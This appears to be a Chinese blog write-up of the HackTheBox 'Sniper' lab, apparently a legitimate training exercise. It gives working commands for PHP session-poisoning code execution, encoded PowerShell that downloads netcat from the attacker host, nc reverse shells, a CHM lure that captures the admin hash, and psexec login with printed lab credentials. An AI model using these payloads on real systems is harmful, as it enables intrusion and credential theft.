hackthebox-Sniper--初嘗windows靶機(jī)

好久沒(méi)做htb的靶機(jī),這次又跟著著大佬的思路去做了一臺(tái)新的靶機(jī)。不同以往的是,這次的靶機(jī)Sniper是windows靶機(jī),因此也收獲了許多新姿勢(shì)。就是在中間從github下了不少東西......因?yàn)椴皇羌倨?,具體過(guò)程不會(huì)像以往那么詳細(xì)。同時(shí)windows靶機(jī)下自己不太理解的東西也希望不會(huì)給別人帶進(jìn)誤區(qū)。

有趣的是,這臺(tái)靶機(jī)獲得webroot=>user=>root的shell有不同的操作方法,同時(shí)具體后面提權(quán)時(shí)也將有不同的方法進(jìn)行細(xì)節(jié)上不同的操作。具體細(xì)節(jié)將在后面的文章中提到。

攻擊機(jī)ip: kalilinux 10.10.15.189
靶機(jī)ip windows10 10.10.10.151

端口掃描

首先是老套的端口掃描

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 09:20 CST
Nmap scan report for 10.10.10.151
Host is up (0.24s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h02m38s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-01T08:23:29
|_  start_date: N/A

可以看到是一臺(tái)windows靶機(jī),配有IIS服務(wù)。不過(guò)開(kāi)啟的幾個(gè)端口中包含了445端口,這是SMB服務(wù)開(kāi)放的端口。

port 445: Microsoft Windows SMB Server服務(wù)

著名的永恒之藍(lán)漏洞也是通過(guò)這一端口利用的。當(dāng)然這里并沒(méi)有什么滲透點(diǎn),只是說(shuō)明我們可以通過(guò)smbserver連接到靶機(jī),嘗試基本的smb連接的話(huà)發(fā)現(xiàn)必然是要密碼的。

那么還是從80端口入手。訪(fǎng)問(wèn)網(wǎng)頁(yè),發(fā)現(xiàn)是php網(wǎng)頁(yè)。IIS+php實(shí)際上是非常奇怪的配置,但我們顯然可以以此為入手點(diǎn)。

LFI/RFI=>命令執(zhí)行=>webshell

首先在blog下發(fā)現(xiàn)一個(gè)語(yǔ)言切換功能,其參數(shù)可以文件包含。/blog?lang=blog-en.php
嘗試偽協(xié)議等常規(guī)套路讀源碼均以失敗告終。
簡(jiǎn)單讀windows的文件?lang=/windows/system32/license.rtf
發(fā)現(xiàn)有回顯。那么現(xiàn)在目的是得到一個(gè)web-root的shell,如何操作呢?
此時(shí)有一種相對(duì)"簡(jiǎn)單"的辦法,利用上面提到的是smb服務(wù)。我們?cè)俦緳C(jī)kali新建一個(gè)smb服務(wù),然后直接rfi進(jìn)行操作。
RFI的基本操作套路如下

/?lang=\\10.10.14.62\share\foo.php

但是需要注意。想通過(guò)SMB達(dá)成rfi我們必須修改本機(jī)的是smb服務(wù)的權(quán)限,控制文件夾的權(quán)限為777等等,操作起來(lái)對(duì)我這樣的小白而言相對(duì)困難了。那么有沒(méi)有其他方法得到webshell呢?

有,而這也是我學(xué)到的不同于常規(guī)套路的方法。
回到之前php網(wǎng)頁(yè)的思路上。有這樣的一個(gè)細(xì)節(jié)可以注意:這是一個(gè)windows靶機(jī)的php服務(wù),其session值被存儲(chǔ)在固定的文件夾了。
我們嘗試一下隨意注冊(cè)一個(gè)用戶(hù)名,并且記錄下session值。通過(guò)下面的payload包含session

lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg

此時(shí)查看包含的結(jié)果,發(fā)現(xiàn)是含有用戶(hù)名的序列化數(shù)據(jù)。那么類(lèi)似于之前tp5的session固定存儲(chǔ)類(lèi)的漏洞,我們可以從這里下手,將php代碼寫(xiě)入session數(shù)據(jù)。

首先嘗試簡(jiǎn)單的fuzz,發(fā)現(xiàn)用戶(hù)名過(guò)濾了一些關(guān)鍵字。這里直接給出可行的payload及回顯

<?=`whoami`?>
lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
username|s:13:"nt authority\iusr

利用短標(biāo)簽加反引號(hào)直接執(zhí)行命令??梢钥吹匠晒?zhí)行whoami。
接下來(lái)可以寫(xiě)webshell,也可以直接命令執(zhí)行。這里直接進(jìn)行命令執(zhí)行。

嘗試常規(guī)的powershell反彈shell失敗。之后會(huì)發(fā)現(xiàn)可能是因?yàn)閜owershell運(yùn)行在constraintmode的原因。但是不要緊,利用lfi+命令執(zhí)行我們還有其他方法拿到windows靶機(jī)的shell。
首先找到本機(jī)的netcat(即平時(shí)使用的nc),把它傳到windows機(jī)上。(當(dāng)然需要先建好www文件夾,并把本機(jī)的nc.exe復(fù)制到里面)
payload:

echo 'wget 10.10.15.189/nc.exe -O \windows\temp\exp.exe' | iconv -t utf-16le | base64 -w 0

將準(zhǔn)備好的payload進(jìn)行編碼避免過(guò)濾。
注冊(cè)新用戶(hù)名為

<?=`powershell /enc {your encoded  command }`?>

這里使用/enc是powershell對(duì)應(yīng)的解碼flag,沒(méi)使用-enc是為了解決過(guò)濾問(wèn)題。
然后包含對(duì)應(yīng)的用戶(hù)的session即可執(zhí)行。
再利用lfi檢查是否已經(jīng)把nc傳上去了


很好。那么再進(jìn)行反彈shell的命令吧。
payload:

echo 'c:\windows\temp\exp.exe 10.10.15.189 8899 -e powershell' | iconv -t utf-16le | base64 -w 0

本機(jī)監(jiān)聽(tīng)8899.瀏覽器包含,并得到webshell

user shell

拿到webshell后我們首先檢查下源碼。很快就有所發(fā)現(xiàn)
\user\db.php中可以發(fā)現(xiàn)一個(gè)數(shù)據(jù)庫(kù)的密碼36mEAhz/B8xQ~2VM.而且在User中可以發(fā)現(xiàn)用戶(hù)Chris的存在。

下面嘗試拿到usershell.
這里將再次用到我們之前使用過(guò)的端口轉(zhuǎn)發(fā)。不過(guò)需要一個(gè)工具來(lái)幫助我們實(shí)現(xiàn)。
https://github.com/jpillora/chisel
從githubrelease處下載chisel的linux與windows版本。分別用于本機(jī)與靶機(jī)。然后wget把windows版本的傳輸?shù)桨袡C(jī)上。

kali: chmod +x chisel_linux_amd64
./chisel_linux_amd64 server -p 8000 --reverse

shell: wget http://10.10.15.189/chisel.exe -O chisel.exe
    
portforwarding: .\chisel.exe client 10.10.15.189:8000 R:5985:127.0.0.1:5985 R:3306:127.0.0.1:3306  

開(kāi)啟--reverse允許我們轉(zhuǎn)發(fā)端口。而最后一步我們把5985與3306端口轉(zhuǎn)發(fā)到本地。5985對(duì)應(yīng)的是WinRM服務(wù),可用于遠(yuǎn)程管理。我們把它轉(zhuǎn)發(fā)到本地后,可以利用另一個(gè)滲透工具evil-winrm進(jìn)行用戶(hù)登錄。

git clone https://github.com/Hackplayers/evil-winrm
sudo gem install winrm winrm-fs stringio

只需兩步即可使用。
然后evil-winrm繼續(xù)登錄,直接本地127.0.0.1即可。因?yàn)槲覀兌丝谝呀?jīng)轉(zhuǎn)發(fā)好了。
./evil-winrm.rb -u chris -p '36mEAhz/B8xQ~2VM' -i 127.0.0.1


拿到usershell.

之所以用這么多工具進(jìn)行user的提權(quán)其實(shí)是因?yàn)檫@里想要通過(guò)其他方法得到usershell要再次反彈shell.
并且操作起來(lái)有點(diǎn)麻煩.這里我簡(jiǎn)單提一下,就是直接通過(guò)powershell命令創(chuàng)建一個(gè)屬于Chris的變量,然后再反彈shell.

$pass = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force
$cred = new-object system.management.automation.pscredential("sniper\chris", $pass)
invoke-command -computer sniper -scriptblock { whoami } -credential $cred

變量成功創(chuàng)建的話(huà),最后一條命令的回顯應(yīng)該是sniper\chris
然后下面的命令可以重新彈shell,得到usershell

invoke-command -computer sniper -scriptblock { c:\windows\temp\exp.exe 10.10.15.189 1234 -e powershell.exe } -credential $cred

rootshell

那么又到了最后的root提權(quán)時(shí)間。
在C:\docs中可以發(fā)現(xiàn)這樣一個(gè)有趣的txt

  Hi Chris,
  Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it.
  And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
  Regards,
  Sniper CEO.

有意思。似乎在提示我們,傳到這個(gè)文件夾下的東西可能會(huì)被CEO檢測(cè)。這也就類(lèi)似xss中我們的payload被檢查時(shí)可以打到admin的cookie.這里我們是否也能通過(guò)可執(zhí)行文件讓administrator檢查,拿到administrator的權(quán)限呢?
同樣在Chris的Downloads目錄下我們發(fā)現(xiàn)一個(gè)instructions.chm文件。拿到windows本機(jī)打開(kāi),將發(fā)現(xiàn)


那么我們應(yīng)該就是要使用chm文件進(jìn)行操作了。同時(shí)利用的思路也大致清楚了:

1.windows本機(jī)下操作生成chm文件
2.上傳chm文件,其中payload將打到本機(jī) #類(lèi)似xss的道理
3.監(jiān)聽(tīng)本機(jī),得到administrator信息。

簡(jiǎn)單提下chm文件。其實(shí)就是html文件的幫助文件系統(tǒng)。而且想要操作起來(lái)很簡(jiǎn)單,只要在win10電腦的C:\Program Files (x86)\HTML Help Workshop中即可找到。
當(dāng)然我們還要從微軟官網(wǎng)下載最新的https://www.microsoft.com/en-us/download/details.aspx?id=21138
先創(chuàng)建一個(gè)html文件

<html>
<body>
<h1>Hacked by byc_404</h1>
<img src=\\10.10.15.189\htb\23333.jpg/>

</body>
</html>

里面的src資源指向我們本機(jī)任意資源,說(shuō)白了就是讓admin觸發(fā)且我們能收到請(qǐng)求而已。
在windows本機(jī)以管理員權(quán)限打開(kāi)hhw.exe,創(chuàng)建test.hpp項(xiàng)目添加我們剛剛的index.html并編譯,即可生成一個(gè)chm文件。
然后回到本機(jī),先起一個(gè)監(jiān)聽(tīng)
responder -I tun0

wget上傳文件到docs文件夾下

wget http://10.10.15.189/test.chm -O exp.chm

很快就能收到請(qǐng)求


這是一串管理員密碼的hash.到網(wǎng)站上解碼可得管理員密碼butterfly!#1.

然后登嘗試登陸。由于開(kāi)放了445端口,我們直接用smb服務(wù)可以直接登錄。
當(dāng)然我沒(méi)有起smb服務(wù),使用下面github上的python腳本即可替代。

git clone https://github.com/SecureAuthCorp/impacket   
pip install .
python psexec.py Administrator@10.10.10.151

成功拿到rootshell.

當(dāng)然還有類(lèi)似前面的直接反彈rootshell的方法。因?yàn)閏hm文件甚至可以插入powershell命令,所以我們可以直接生成反彈shell的html.這里直接借用看到的dalao的chm。


或者使用powershell命令生成payload
https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

Out-CHM –Payload "C:windows\temp\exp.exe 10.10.15.189 6666 -e powershell.exe" –HHCPath “C:\Program Files (x86)\HTML Help Workshop”

這樣就能直接在administrator檢查時(shí)反彈到shell.

小結(jié)

這次windows靶機(jī)的體驗(yàn)還算不錯(cuò)。因?yàn)椴皇煜さ脑蚪佑|了不少新知識(shí)。有很多細(xì)節(jié)還沒(méi)弄明白,但是也學(xué)到了不少windows靶機(jī)新知識(shí)。的確,CTFer 不能總是待在舒適區(qū)。國(guó)際賽也好,htb靶機(jī)滲透也好,都是接觸非國(guó)內(nèi)滲透知識(shí)的大好途徑。畢竟也打了一段時(shí)間比賽了,國(guó)內(nèi)的比賽除了大型比賽能有很多新姿勢(shì)以及新想法學(xué)以外,其他的出題思路或者賽事操作都是老生常談,拘泥于php或者個(gè)別trick的泥潭中。這幾天嘗試了java題,windows題,都算是一種突破常規(guī)的嘗試吧。希望自己也能成為有想法的CTFer。而不是一個(gè)單純的CTF賽棍.

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀(guān)點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,546評(píng)論 6 533
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,570評(píng)論 3 418
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事?!?“怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 176,505評(píng)論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 63,017評(píng)論 1 313
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 71,786評(píng)論 6 410
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 55,219評(píng)論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,287評(píng)論 3 441
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 42,438評(píng)論 0 288
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,971評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 40,796評(píng)論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 42,995評(píng)論 1 369
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,540評(píng)論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,230評(píng)論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 34,662評(píng)論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 35,918評(píng)論 1 286
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 51,697評(píng)論 3 392
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 47,991評(píng)論 2 374

推薦閱讀更多精彩內(nèi)容

  • 運(yùn)行操作 CMD命令:開(kāi)始->運(yùn)行->鍵入cmd或command(在命令行里可以看到系統(tǒng)版本、文件系統(tǒng)版本) CM...
    小沐子_IT閱讀 2,292評(píng)論 0 4
  • 命令簡(jiǎn)介 cmd是command的縮寫(xiě).即命令行 。 雖然隨著計(jì)算機(jī)產(chǎn)業(yè)的發(fā)展,Windows 操作系統(tǒng)的應(yīng)用越來(lái)...
    Littleston閱讀 3,336評(píng)論 0 12
  • 1、第八章 Samba服務(wù)器2、第八章 NFS服務(wù)器3、第十章 Linux下DNS服務(wù)器配站點(diǎn),域名解析概念命令:...
    哈熝少主閱讀 3,755評(píng)論 0 10
  • win7 cmd管理員權(quán)限設(shè)置 net localgroup administrators 用戶(hù)名 /add 把“...
    f675b1a02698閱讀 5,264評(píng)論 0 11
  • 運(yùn)行操作 CMD命令:開(kāi)始->運(yùn)行->鍵入cmd或command(在命令行里可以看到系統(tǒng)版本、文件系統(tǒng)版本) CM...
    小明yz閱讀 2,778評(píng)論 0 8